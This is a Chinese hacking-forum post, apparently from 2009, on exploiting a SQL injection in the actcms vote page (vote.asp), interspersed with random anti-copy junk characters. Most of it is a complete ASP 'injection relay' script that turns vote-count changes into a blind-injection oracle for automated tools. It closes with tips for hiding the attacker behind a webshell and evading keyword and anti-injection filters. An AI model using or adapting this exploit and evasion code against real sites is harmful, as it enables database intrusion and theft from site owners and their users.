注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
+ {& [/ x# G( W, s9 a& G关于actcms漏洞的利用  by 3x qq:381862589
, O& t0 N, X2 D0 Q# t8 [3 `4 v$ s转载请注明以上
/ ~+ n& j% Y5 M4 M7 @漏洞文件：
! V' S& _# V8 K  O. Z/plus/vote/vote.asp
) o  H& f8 r+ u" D8 Q代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

7 Y6 T" {/ ?6 y. B; h, A: W- d2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

1 I% w- M: o/ a( |4    end if   
% o4 N# O5 l$ C6 `; x
5    for i=1 to request("voted").count   
0 U1 {" y/ o1 O1 j; k3 a
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7 ^4 v" O8 F9 r  g7 u: y: z2 I7    next   

+ t+ b& ?( ?! G8....   
" B7 Y2 L0 n1 P) V0 Y; h
3 t  }1 r0 r! }5 ~9 [9 q+ ]9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
" T, J; H* h+ J* K            失败票数不变
# C8 I8 K+ Z; X% ?" D; F) R如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
9 W  }, j) Q! y% W: R) g6 }. k7 d" Y
2009-12-27 13:20
8 U$ l0 r% n  y
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

1 k& n/ U5 o, q" W6 z3 l4 v, I本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
* H1 p) `+ u( q0 q, b注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")
0 t/ D( F- r1 @# [. _1 \  I
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( \6 P! n" E$ t+ j* ^: X
04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

0 I' ^" }. M" L  D$ b2 G& m# V07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
7 |; e6 _4 O; h, u1 c, C; M
08testurl=testurl & "?" & JmStr

09JMUrl=JMUrl & "?" & JmStr
" p5 m; g) `  D8 `6 j4 D
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 C  v6 e( I, q" p. L) k7 @
+ ^) O! L3 o7 ^11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
. b: S, P8 L/ t" h9 G4 F5 g
12JmCok=replace(JmCok,chr(32),"%20")  
% K: B& J1 }" y2 S2 N* S
/ a' K% ?' [" L, X4 B0 g: E13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14  

5 H1 x, ]- b2 v15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

16  
; p: z4 d5 o$ `& N
+ x9 k# G& N2 }7 R: J. }) r: d17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""
7 n3 Q9 Y0 h  k
19  

20if test1=test2 then '如前后记录相等，表示失败

& y& \0 Q  ^$ @5 G- n( u8 y21  response.write "failed"
. t' a" Z* J& ^
, K2 r5 v" P' F& O" g) S/ {: ]$ C22else

23  response.write "succeed"

; W* t) L% l; u* ]8 b24end if  

, ]. A8 d" q' l  f# u25  

26response.write "by 3x"

27  

+ E; o1 `& m5 G: ?0 j! n! R28  
& B' X. }1 X. R& `/ r8 _- @
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
/ {/ ?. f1 G8 T! {! S- |4 W- ?) x
, P! m$ x) I, e1 i30Dim Http
7 |2 G# u1 R" w' x
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

: W# \. q9 W. G32With Http
7 O1 W5 Z1 x: ?
33  

34.Open "GET",PostUrl,False
, f3 l9 M0 @. v
8 ~0 E2 s0 n- ^' e2 q35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef

6 l$ X) y$ o4 a! n# o( ?1 U$ J* Z37.SetRequestHeader "Cookie",PostCok

) `" \* m3 I7 Y; u38.Send ()
; v/ w/ W2 D6 X; x. q, f# `
39PostData = .ResponseBody
+ S: L  _5 _' E+ V
40End With

) d0 _8 E7 o1 d8 z41Set Http = Nothing

8 b6 [6 L( J, N3 Y( u5 n42PostData =bytes2BSTR(PostData)
9 b$ s. [7 ?- ^
43End Function

44  
% E$ R( i  j* `' p$ S( P
45  

. @) U) D* s3 e9 c7 U7 W; u0 ~, N+ L46Function bytes2BSTR(vIn)

47Dim strReturn

1 ?" p, \9 n: K0 A' q5 x# A8 R48Dim I, ThisCharCode, NextCharCode
/ c8 ^- o4 Y/ l' S3 Q  t7 ~7 K
49strReturn = ""
9 J! E& ]7 x9 f0 x" q
50For I = 1 To LenB(vIn)
1 b( x* ^( u  P' q; q
) G  i8 e2 L' L1 z& |51ThisCharCode = AscB(MidB(vIn, I, 1))
+ W" K6 n+ Z3 k" u- ]
52If ThisCharCode < &H80 Then
+ e/ p5 u6 k) z+ G0 Y
; V# N, b  `3 s; z' G53strReturn = strReturn & Chr(ThisCharCode)
! A! i% i8 ]% ]. B( b. g
54Else
' R/ k, G, g8 d* S
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ L6 H. \& @4 x& J) m4 }; S2 u3 _6 }
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1
: V1 E1 g9 [2 H( g( I5 C
/ T" K2 @5 @) z' F58End If

59Next
; Z; x3 i# m! G, {# B3 @
60bytes2BSTR = strReturn
1 x$ J4 R. l# g; P& ~' S
" m) u# h4 |4 F- X' I' k61End Function

8 ]/ K0 k: `% X7 X. Q62  
7 K( k2 u4 F# B* h
63Function URLEncoding(vstrin)  
% o3 Q) s- b/ y; m; A8 X7 z  V
* S* k$ {; C/ ]; t* a4 L0 r64strReturn=""
+ a+ @9 b4 ~! Y6 R
, c9 H- y# Q$ u6 r" [& ~! O& ]65Dim i
0 V9 k9 g2 j9 n) N3 k& O
7 L% N9 z  B7 J3 D4 a66For i=1 To Len(vstrin)
& N( [" X  x- _$ `2 Z9 e# H
67ThisChr=Mid(vstrin,i,1)

) o1 F" V5 a( G9 ]" U5 T" Y7 Q! `68if Abs(Asc(ThisChr))< &HFF Then
8 X$ H5 @" V9 V! o* |9 {5 Z: V/ A
. h0 u! d% V6 D9 z69strReturn=strReturn & ThisChr
- @. ]: Z) _7 r
70Else

/ C$ w% p/ m: g" d& `6 W71InnerCode=Asc(ThisChr)
6 ?; h4 x9 h* K" W3 ]# o* `- ]' }
72If InnerCode<0 Then
$ v+ f8 Y" F$ U3 F
* W5 I5 L* c* F73InnerCode=InnerCode + &H10000
$ q- F3 L& i- u
* k& P% b' k6 }. q" v, |74End If

) o  n: u" ^, B! d3 M( r75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
6 {9 ^# ]# |; n& ^) x, m
; o, z, Z8 U0 e6 X77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
5 @7 q# Y( k: h8 [. J3 p
8 _- c' _6 H7 H78End if

  m& ^) ]- O# X! R: h79Next

80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 E7 Z/ A5 V2 A% m6 I: A
5 L/ t+ o/ Z$ }; u; @0 i, i81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
, [+ g" J, ^' i& m" w6 \0 J
' n. ]3 I/ E; d# ?  [; z82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function

85  

86function getSt(body)

$ c9 d2 K: r2 B- ^$ B- Z/ J+ ]4 ]87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
- X' c+ a/ |; u" l& k
' O$ N; S0 J, k6 m2 F89  getSt=mid(body,startpot,endpot-startpot)
* Q* \$ q+ |' d$ Q0 a! ]
9 i; w: V& t$ Q: F' `* i$ T9 {90end function
. U! O+ N$ y& U2 P0 T- u; V
91%>
" a6 v) j) h$ s3 \, B注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
) H$ {9 `, T* z投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
. u, W0 m0 U+ P7 ~3 a% ^7 L5 qhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

5 [  ^6 Q" c1 A% }5 h2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
1 h7 m" `0 i& w% |所以失败。。。不好意思。。。
-------------------------------------------------------------------------------
; ]: v% a; F3 j5 ~; {( q  p9 @
注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
! p4 e  J$ k8 a" t- s7 p2 \5 G# h& Z  O1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
, E! _5 Q: O5 t4 H' U( J2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
& [; j. ]: ?- }